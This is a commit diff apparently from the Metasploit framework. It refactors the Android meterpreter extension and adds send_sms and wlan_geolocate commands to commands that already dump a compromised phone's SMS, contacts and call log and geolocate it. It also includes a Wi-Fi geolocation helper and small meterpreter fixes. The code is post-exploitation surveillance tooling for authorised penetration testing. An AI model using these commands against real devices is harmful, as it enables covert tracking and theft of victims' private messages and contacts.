Land #5748, refactor google geolocate, add wlan_geolocate and send_sms to android meterpreter
commit
5dd015150c
|
@ -9,7 +9,7 @@ PATH
|
||||||
json
|
json
|
||||||
metasploit-concern (= 1.0.0)
|
metasploit-concern (= 1.0.0)
|
||||||
metasploit-model (= 1.0.0)
|
metasploit-model (= 1.0.0)
|
||||||
metasploit-payloads (= 1.0.7)
|
metasploit-payloads (= 1.0.8)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.9)
|
packetfu (= 1.1.9)
|
||||||
|
@ -123,7 +123,7 @@ GEM
|
||||||
activemodel (>= 4.0.9, < 4.1.0)
|
activemodel (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-payloads (1.0.7)
|
metasploit-payloads (1.0.8)
|
||||||
metasploit_data_models (1.2.5)
|
metasploit_data_models (1.2.5)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
|
|
|
@ -743,7 +743,8 @@ def stdapi_sys_process_close(request, response):
|
||||||
if not proc_h_id:
|
if not proc_h_id:
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
proc_h_id = proc_h_id['value']
|
proc_h_id = proc_h_id['value']
|
||||||
del meterpreter.processes[proc_h_id]
|
if meterpreter.processes.has_key(proc_h_id):
|
||||||
|
del meterpreter.processes[proc_h_id]
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
|
|
|
@ -169,6 +169,7 @@ module Msf::Post::Common
|
||||||
# through /bin/sh, solving all the pesky parsing troubles, without
|
# through /bin/sh, solving all the pesky parsing troubles, without
|
||||||
# affecting Windows.
|
# affecting Windows.
|
||||||
#
|
#
|
||||||
|
start = Time.now.to_i
|
||||||
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
|
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
|
||||||
args = ""
|
args = ""
|
||||||
end
|
end
|
||||||
|
@ -176,9 +177,17 @@ module Msf::Post::Common
|
||||||
session.response_timeout = time_out
|
session.response_timeout = time_out
|
||||||
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
|
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
|
||||||
o = ""
|
o = ""
|
||||||
|
# Wait up to time_out seconds for the first bytes to arrive
|
||||||
while (d = process.channel.read)
|
while (d = process.channel.read)
|
||||||
break if d == ""
|
if d == ""
|
||||||
o << d
|
if (Time.now.to_i - start < time_out) && (o == '')
|
||||||
|
sleep 0.1
|
||||||
|
else
|
||||||
|
break
|
||||||
|
end
|
||||||
|
else
|
||||||
|
o << d
|
||||||
|
end
|
||||||
end
|
end
|
||||||
o.chomp! if o
|
o.chomp! if o
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,68 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
require 'net/http'
|
||||||
|
require 'json'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Google
|
||||||
|
# @example
|
||||||
|
# g = Rex::Google::Geolocation.new
|
||||||
|
# g.add_wlan("00:11:22:33:44:55", "example", -80)
|
||||||
|
# g.fetch!
|
||||||
|
# puts g, g.google_maps_url
|
||||||
|
class Geolocation
|
||||||
|
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
|
||||||
|
|
||||||
|
attr_accessor :accuracy
|
||||||
|
attr_accessor :latitude
|
||||||
|
attr_accessor :longitude
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
@uri = URI.parse(URI.encode(GOOGLE_API_URI))
|
||||||
|
@wlan_list = []
|
||||||
|
end
|
||||||
|
|
||||||
|
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
|
||||||
|
# addresses of access points), ESSIDs (AP names), and signal strengths.
|
||||||
|
def fetch!
|
||||||
|
@uri.query << @wlan_list.take(10).join("&wifi=")
|
||||||
|
request = Net::HTTP::Get.new(@uri.request_uri)
|
||||||
|
http = Net::HTTP.new(@uri.host, @uri.port)
|
||||||
|
http.use_ssl = true
|
||||||
|
response = http.request(request)
|
||||||
|
|
||||||
|
if response && response.code == '200'
|
||||||
|
results = JSON.parse(response.body)
|
||||||
|
self.latitude = results["location"]["lat"]
|
||||||
|
self.longitude = results["location"]["lng"]
|
||||||
|
self.accuracy = results["accuracy"]
|
||||||
|
else
|
||||||
|
msg = "Failure connecting to Google for location lookup."
|
||||||
|
msg += " Code #{response.code} for query #{@uri}" if response
|
||||||
|
fail msg
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Add an AP to the list to send to Google when {#fetch!} is called.
|
||||||
|
#
|
||||||
|
# Turns out Google's API doesn't really care about ESSID or signal strength
|
||||||
|
# as long as you have BSSIDs. Presumably adding them will make it more
|
||||||
|
# accurate? Who knows.
|
||||||
|
#
|
||||||
|
# @param mac [String] in the form "00:11:22:33:44:55"
|
||||||
|
# @param ssid [String] ESSID associated with the mac
|
||||||
|
# @param signal_strength [String] a thing like
|
||||||
|
def add_wlan(mac, ssid = nil, signal_strength = nil)
|
||||||
|
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
|
||||||
|
end
|
||||||
|
|
||||||
|
def google_maps_url
|
||||||
|
"https://maps.google.com/?q=#{latitude},#{longitude}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -5,21 +5,16 @@ require 'rex/post/meterpreter/packet'
|
||||||
require 'rex/post/meterpreter/client'
|
require 'rex/post/meterpreter/client'
|
||||||
require 'rex/post/meterpreter/channels/pools/stream_pool'
|
require 'rex/post/meterpreter/channels/pools/stream_pool'
|
||||||
|
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Post
|
module Post
|
||||||
module Meterpreter
|
module Meterpreter
|
||||||
module Extensions
|
module Extensions
|
||||||
module Android
|
module Android
|
||||||
|
|
||||||
###
|
###
|
||||||
# Android extension - set of commands to be executed on android devices.
|
# Android extension - set of commands to be executed on android devices.
|
||||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||||
###
|
###
|
||||||
|
|
||||||
|
|
||||||
class Android < Extension
|
class Android < Extension
|
||||||
|
|
||||||
def initialize(client)
|
def initialize(client)
|
||||||
super(client, 'android')
|
super(client, 'android')
|
||||||
|
|
||||||
|
@ -30,88 +25,77 @@ class Android < Extension
|
||||||
{
|
{
|
||||||
'name' => 'android',
|
'name' => 'android',
|
||||||
'ext' => self
|
'ext' => self
|
||||||
},
|
}
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
def device_shutdown(n)
|
def device_shutdown(n)
|
||||||
request = Packet.create_request('device_shutdown')
|
request = Packet.create_request('device_shutdown')
|
||||||
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
|
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||||
end
|
end
|
||||||
|
|
||||||
def dump_sms
|
def dump_sms
|
||||||
sms = Array.new
|
sms = []
|
||||||
request = Packet.create_request('dump_sms')
|
request = Packet.create_request('dump_sms')
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
|
|
||||||
response.each( TLV_TYPE_SMS_GROUP ) { |p|
|
response.each(TLV_TYPE_SMS_GROUP) do |p|
|
||||||
|
sms << {
|
||||||
sms <<
|
|
||||||
{
|
|
||||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
|
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
|
||||||
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
|
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
|
||||||
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
|
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
|
||||||
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
|
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
|
||||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
|
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
|
||||||
}
|
}
|
||||||
|
end
|
||||||
}
|
sms
|
||||||
return sms
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def dump_contacts
|
def dump_contacts
|
||||||
contacts = Array.new
|
contacts = []
|
||||||
request = Packet.create_request('dump_contacts')
|
request = Packet.create_request('dump_contacts')
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
|
|
||||||
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
|
response.each(TLV_TYPE_CONTACT_GROUP) do |p|
|
||||||
|
contacts << {
|
||||||
contacts <<
|
|
||||||
{
|
|
||||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
|
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
|
||||||
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
|
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
|
||||||
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
|
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
|
||||||
}
|
}
|
||||||
|
end
|
||||||
}
|
contacts
|
||||||
return contacts
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def geolocate
|
def geolocate
|
||||||
|
loc = []
|
||||||
loc = Array.new
|
|
||||||
request = Packet.create_request('geolocate')
|
request = Packet.create_request('geolocate')
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
|
|
||||||
loc <<
|
loc << {
|
||||||
{
|
|
||||||
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
|
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
|
||||||
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
|
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
|
||||||
}
|
}
|
||||||
|
|
||||||
return loc
|
loc
|
||||||
end
|
end
|
||||||
|
|
||||||
def dump_calllog
|
def dump_calllog
|
||||||
log = Array.new
|
log = []
|
||||||
request = Packet.create_request('dump_calllog')
|
request = Packet.create_request('dump_calllog')
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
|
|
||||||
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
|
response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
|
||||||
|
log << {
|
||||||
log <<
|
|
||||||
{
|
|
||||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
|
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
|
||||||
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
|
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
|
||||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
|
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
|
||||||
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
|
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
|
||||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
|
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
|
||||||
}
|
}
|
||||||
|
end
|
||||||
}
|
log
|
||||||
return log
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_root
|
def check_root
|
||||||
|
@ -119,8 +103,38 @@ class Android < Extension
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
|
def send_sms(dest, body, dr)
|
||||||
|
request = Packet.create_request('send_sms')
|
||||||
|
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
|
||||||
|
request.add_tlv(TLV_TYPE_SMS_BODY, body)
|
||||||
|
request.add_tlv(TLV_TYPE_SMS_DR, dr)
|
||||||
|
if dr == false
|
||||||
|
response = client.send_request(request)
|
||||||
|
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||||
|
return sr
|
||||||
|
else
|
||||||
|
response = client.send_request(request, 30)
|
||||||
|
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||||
|
dr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||||
|
return [sr, dr]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def wlan_geolocate
|
||||||
|
request = Packet.create_request('wlan_geolocate')
|
||||||
|
response = client.send_request(request, 30)
|
||||||
|
networks = []
|
||||||
|
response.each(TLV_TYPE_WLAN_GROUP) do |p|
|
||||||
|
networks << {
|
||||||
|
'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
|
||||||
|
'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
|
||||||
|
'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
networks
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -33,6 +33,15 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
|
||||||
|
|
||||||
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
|
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
|
||||||
|
|
||||||
|
TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021)
|
||||||
|
|
||||||
|
TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022)
|
||||||
|
TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023)
|
||||||
|
TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024)
|
||||||
|
TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025)
|
||||||
|
|
||||||
|
TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,17 +1,16 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
require 'rex/post/meterpreter'
|
require 'rex/post/meterpreter'
|
||||||
require 'msf/core/auxiliary/report'
|
require 'msf/core/auxiliary/report'
|
||||||
|
require 'rex/google/geolocation'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Post
|
module Post
|
||||||
module Meterpreter
|
module Meterpreter
|
||||||
module Ui
|
module Ui
|
||||||
|
|
||||||
###
|
###
|
||||||
# Android extension - set of commands to be executed on android devices.
|
# Android extension - set of commands to be executed on android devices.
|
||||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||||
###
|
###
|
||||||
|
|
||||||
class Console::CommandDispatcher::Android
|
class Console::CommandDispatcher::Android
|
||||||
include Console::CommandDispatcher
|
include Console::CommandDispatcher
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
@ -26,7 +25,9 @@ class Console::CommandDispatcher::Android
|
||||||
'geolocate' => 'Get current lat-long using geolocation',
|
'geolocate' => 'Get current lat-long using geolocation',
|
||||||
'dump_calllog' => 'Get call log',
|
'dump_calllog' => 'Get call log',
|
||||||
'check_root' => 'Check if device is rooted',
|
'check_root' => 'Check if device is rooted',
|
||||||
'device_shutdown' => 'Shutdown device'
|
'device_shutdown' => 'Shutdown device',
|
||||||
|
'send_sms' => 'Sends SMS from target session',
|
||||||
|
'wlan_geolocate' => 'Get current lat-long using WLAN information'
|
||||||
}
|
}
|
||||||
|
|
||||||
reqs = {
|
reqs = {
|
||||||
|
@ -35,24 +36,25 @@ class Console::CommandDispatcher::Android
|
||||||
'geolocate' => [ 'geolocate' ],
|
'geolocate' => [ 'geolocate' ],
|
||||||
'dump_calllog' => [ 'dump_calllog' ],
|
'dump_calllog' => [ 'dump_calllog' ],
|
||||||
'check_root' => [ 'check_root' ],
|
'check_root' => [ 'check_root' ],
|
||||||
'device_shutdown' => [ 'device_shutdown']
|
'device_shutdown' => [ 'device_shutdown'],
|
||||||
|
'send_sms' => [ 'send_sms' ],
|
||||||
|
'wlan_geolocate' => [ 'wlan_geolocate' ]
|
||||||
}
|
}
|
||||||
|
|
||||||
# Ensure any requirements of the command are met
|
# Ensure any requirements of the command are met
|
||||||
all.delete_if do |cmd, desc|
|
all.delete_if do |cmd, _desc|
|
||||||
reqs[cmd].any? { |req| not client.commands.include?(req) }
|
reqs[cmd].any? { |req| !client.commands.include?(req) }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_device_shutdown(*args)
|
def cmd_device_shutdown(*args)
|
||||||
|
|
||||||
seconds = 0
|
seconds = 0
|
||||||
device_shutdown_opts = Rex::Parser::Arguments.new(
|
device_shutdown_opts = Rex::Parser::Arguments.new(
|
||||||
'-h' => [ false, 'Help Banner' ],
|
'-h' => [ false, 'Help Banner' ],
|
||||||
'-t' => [ false, 'Shutdown after n seconds']
|
'-t' => [ false, 'Shutdown after n seconds']
|
||||||
)
|
)
|
||||||
|
|
||||||
device_shutdown_opts.parse(args) { | opt, idx, val |
|
device_shutdown_opts.parse(args) do |opt, _idx, val|
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: device_shutdown [options]')
|
print_line('Usage: device_shutdown [options]')
|
||||||
|
@ -62,26 +64,25 @@ class Console::CommandDispatcher::Android
|
||||||
when '-t'
|
when '-t'
|
||||||
seconds = val.to_i
|
seconds = val.to_i
|
||||||
end
|
end
|
||||||
}
|
end
|
||||||
|
|
||||||
res = client.android.device_shutdown(seconds)
|
res = client.android.device_shutdown(seconds)
|
||||||
|
|
||||||
if res
|
if res
|
||||||
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
|
print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
|
||||||
else
|
else
|
||||||
print_error('Device shutdown failed')
|
print_error('Device shutdown failed')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_dump_sms(*args)
|
|
||||||
|
|
||||||
|
def cmd_dump_sms(*args)
|
||||||
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||||
dump_sms_opts = Rex::Parser::Arguments.new(
|
dump_sms_opts = Rex::Parser::Arguments.new(
|
||||||
'-h' => [ false, 'Help Banner' ],
|
'-h' => [ false, 'Help Banner' ],
|
||||||
'-o' => [ false, 'Output path for sms list']
|
'-o' => [ false, 'Output path for sms list']
|
||||||
)
|
)
|
||||||
|
|
||||||
dump_sms_opts.parse(args) { | opt, idx, val |
|
dump_sms_opts.parse(args) do |opt, _idx, val|
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: dump_sms [options]')
|
print_line('Usage: dump_sms [options]')
|
||||||
|
@ -91,19 +92,18 @@ class Console::CommandDispatcher::Android
|
||||||
when '-o'
|
when '-o'
|
||||||
path = val
|
path = val
|
||||||
end
|
end
|
||||||
}
|
end
|
||||||
|
|
||||||
smsList = []
|
sms_list = client.android.dump_sms
|
||||||
smsList = client.android.dump_sms
|
|
||||||
|
|
||||||
if smsList.count > 0
|
if sms_list.count > 0
|
||||||
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
|
print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
|
||||||
begin
|
begin
|
||||||
info = client.sys.config.sysinfo
|
info = client.sys.config.sysinfo
|
||||||
|
|
||||||
data = ""
|
data = ""
|
||||||
data << "\n=====================\n"
|
data << "\n=====================\n"
|
||||||
data << "[+] Sms messages dump\n"
|
data << "[+] SMS messages dump\n"
|
||||||
data << "=====================\n\n"
|
data << "=====================\n\n"
|
||||||
|
|
||||||
time = Time.new
|
time = Time.new
|
||||||
|
@ -112,8 +112,7 @@ class Console::CommandDispatcher::Android
|
||||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||||
|
|
||||||
smsList.each_with_index { |a, index|
|
sms_list.each_with_index do |a, index|
|
||||||
|
|
||||||
data << "##{index.to_i + 1}\n"
|
data << "##{index.to_i + 1}\n"
|
||||||
|
|
||||||
type = 'Unknown'
|
type = 'Unknown'
|
||||||
|
@ -147,14 +146,14 @@ class Console::CommandDispatcher::Android
|
||||||
data << "Address\t: #{a['address']}\n"
|
data << "Address\t: #{a['address']}\n"
|
||||||
data << "Status\t: #{status}\n"
|
data << "Status\t: #{status}\n"
|
||||||
data << "Message\t: #{a['body']}\n\n"
|
data << "Message\t: #{a['body']}\n\n"
|
||||||
}
|
end
|
||||||
|
|
||||||
::File.write(path, data)
|
::File.write(path, data)
|
||||||
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
|
print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
|
||||||
|
|
||||||
return true
|
return true
|
||||||
rescue
|
rescue
|
||||||
print_error("Error getting messages: #{$!}")
|
print_error("Error getting messages: #{$ERROR_INFO}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
|
@ -163,18 +162,15 @@ class Console::CommandDispatcher::Android
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def cmd_dump_contacts(*args)
|
def cmd_dump_contacts(*args)
|
||||||
|
|
||||||
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||||
dump_contacts_opts = Rex::Parser::Arguments.new(
|
|
||||||
|
|
||||||
|
dump_contacts_opts = Rex::Parser::Arguments.new(
|
||||||
'-h' => [ false, 'Help Banner' ],
|
'-h' => [ false, 'Help Banner' ],
|
||||||
'-o' => [ false, 'Output path for contacts list']
|
'-o' => [ false, 'Output path for contacts list']
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
dump_contacts_opts.parse(args) { | opt, idx, val |
|
dump_contacts_opts.parse(args) do |opt, _idx, val|
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: dump_contacts [options]')
|
print_line('Usage: dump_contacts [options]')
|
||||||
|
@ -184,13 +180,12 @@ class Console::CommandDispatcher::Android
|
||||||
when '-o'
|
when '-o'
|
||||||
path = val
|
path = val
|
||||||
end
|
end
|
||||||
}
|
end
|
||||||
|
|
||||||
contactList = []
|
contact_list = client.android.dump_contacts
|
||||||
contactList = client.android.dump_contacts
|
|
||||||
|
|
||||||
if contactList.count > 0
|
if contact_list.count > 0
|
||||||
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
|
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
|
||||||
begin
|
begin
|
||||||
info = client.sys.config.sysinfo
|
info = client.sys.config.sysinfo
|
||||||
|
|
||||||
|
@ -205,32 +200,28 @@ class Console::CommandDispatcher::Android
|
||||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||||
|
|
||||||
contactList.each_with_index { |c, index|
|
contact_list.each_with_index do |c, index|
|
||||||
|
|
||||||
data << "##{index.to_i + 1}\n"
|
data << "##{index.to_i + 1}\n"
|
||||||
data << "Name\t: #{c['name']}\n"
|
data << "Name\t: #{c['name']}\n"
|
||||||
|
|
||||||
if c['number'].count > 0
|
c['number'].each do |n|
|
||||||
(c['number']).each { |n|
|
data << "Number\t: #{n}\n"
|
||||||
data << "Number\t: #{n}\n"
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
if c['email'].count > 0
|
c['email'].each do |n|
|
||||||
(c['email']).each { |n|
|
data << "Email\t: #{n}\n"
|
||||||
data << "Email\t: #{n}\n"
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
data << "\n"
|
data << "\n"
|
||||||
}
|
end
|
||||||
|
|
||||||
::File.write(path, data)
|
::File.write(path, data)
|
||||||
print_status("Contacts list saved to: #{path}")
|
print_status("Contacts list saved to: #{path}")
|
||||||
|
|
||||||
return true
|
return true
|
||||||
rescue
|
rescue
|
||||||
print_error("Error getting contacts list: #{$!}")
|
print_error("Error getting contacts list: #{$ERROR_INFO}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
|
@ -243,13 +234,11 @@ class Console::CommandDispatcher::Android
|
||||||
|
|
||||||
generate_map = false
|
generate_map = false
|
||||||
geolocate_opts = Rex::Parser::Arguments.new(
|
geolocate_opts = Rex::Parser::Arguments.new(
|
||||||
|
|
||||||
'-h' => [ false, 'Help Banner' ],
|
'-h' => [ false, 'Help Banner' ],
|
||||||
'-g' => [ false, 'Generate map using google-maps']
|
'-g' => [ false, 'Generate map using google-maps']
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
geolocate_opts.parse(args) { | opt, idx, val |
|
geolocate_opts.parse(args) do |opt, _idx, _val|
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: geolocate [options]')
|
print_line('Usage: geolocate [options]')
|
||||||
|
@ -259,7 +248,7 @@ class Console::CommandDispatcher::Android
|
||||||
when '-g'
|
when '-g'
|
||||||
generate_map = true
|
generate_map = true
|
||||||
end
|
end
|
||||||
}
|
end
|
||||||
|
|
||||||
geo = client.android.geolocate
|
geo = client.android.geolocate
|
||||||
|
|
||||||
|
@ -278,7 +267,6 @@ class Console::CommandDispatcher::Android
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_dump_calllog(*args)
|
def cmd_dump_calllog(*args)
|
||||||
|
|
||||||
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||||
dump_calllog_opts = Rex::Parser::Arguments.new(
|
dump_calllog_opts = Rex::Parser::Arguments.new(
|
||||||
|
|
||||||
|
@ -287,7 +275,7 @@ class Console::CommandDispatcher::Android
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
dump_calllog_opts.parse(args) { | opt, idx, val |
|
dump_calllog_opts.parse(args) do |opt, _idx, val|
|
||||||
case opt
|
case opt
|
||||||
when '-h'
|
when '-h'
|
||||||
print_line('Usage: dump_calllog [options]')
|
print_line('Usage: dump_calllog [options]')
|
||||||
|
@ -297,12 +285,12 @@ class Console::CommandDispatcher::Android
|
||||||
when '-o'
|
when '-o'
|
||||||
path = val
|
path = val
|
||||||
end
|
end
|
||||||
}
|
end
|
||||||
|
|
||||||
log = client.android.dump_calllog
|
log = client.android.dump_calllog
|
||||||
|
|
||||||
if log.count > 0
|
if log.count > 0
|
||||||
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
|
print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
|
||||||
begin
|
begin
|
||||||
info = client.sys.config.sysinfo
|
